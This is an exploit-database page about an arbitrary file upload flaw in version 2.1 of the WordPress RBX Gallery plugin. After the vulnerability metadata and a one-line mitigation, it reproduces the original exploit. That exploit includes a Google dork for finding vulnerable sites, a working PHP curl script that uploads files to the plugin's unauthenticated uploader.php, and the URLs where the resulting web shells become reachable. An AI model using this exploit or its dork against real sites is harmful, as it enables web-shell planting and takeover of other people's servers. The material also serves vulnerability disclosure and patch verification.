header-logo
Suggest Exploit
vendor:
RBX Gallery
by:
Sammy FORGIT
8,8
CVSS
HIGH
Arbitrary File Upload
434
CWE
Product Name: RBX Gallery
Affected Version From: 2.1
Affected Version To: 2.1
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:rbxgallery
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2012

WordPress Plugins – RBX Gallery Multiple Arbitrary File Upload Vulnerability

A vulnerability in RBX Gallery plugin for Wordpress allows an attacker to upload arbitrary files to the server. This can be exploited by sending a specially crafted POST request to the uploader.php script in the plugin directory. This can be used to upload malicious files such as a web shell, allowing an attacker to gain remote access to the server.

Mitigation:

Update to the latest version of the plugin.
Source

Exploit-DB raw data:

##################################################
# Description : Wordpress Plugins - RBX Gallery Multiple Arbitrary File 
Upload Vulnerability
# Version : 2.1
# Link : http://wordpress.org/extend/plugins/rbxgallery/
# Plugins : http://downloads.wordpress.org/plugin/rbxgallery.2.1.zip
# Date : 03-06-2012
# Google Dork : inurl:/wp-content/plugins/rbxgallery/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$uploadfile2="db.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/rbxgallery/uploader.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('images[0]'=>"@$uploadfile",
                'images[1]'=>"@$uploadfile2",
                'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/rbxslider/lo.php
http://www.exemple.com/wordpress/wp-content/uploads/rbxslider/db.php

lo.php
<?php
phpinfo();
?>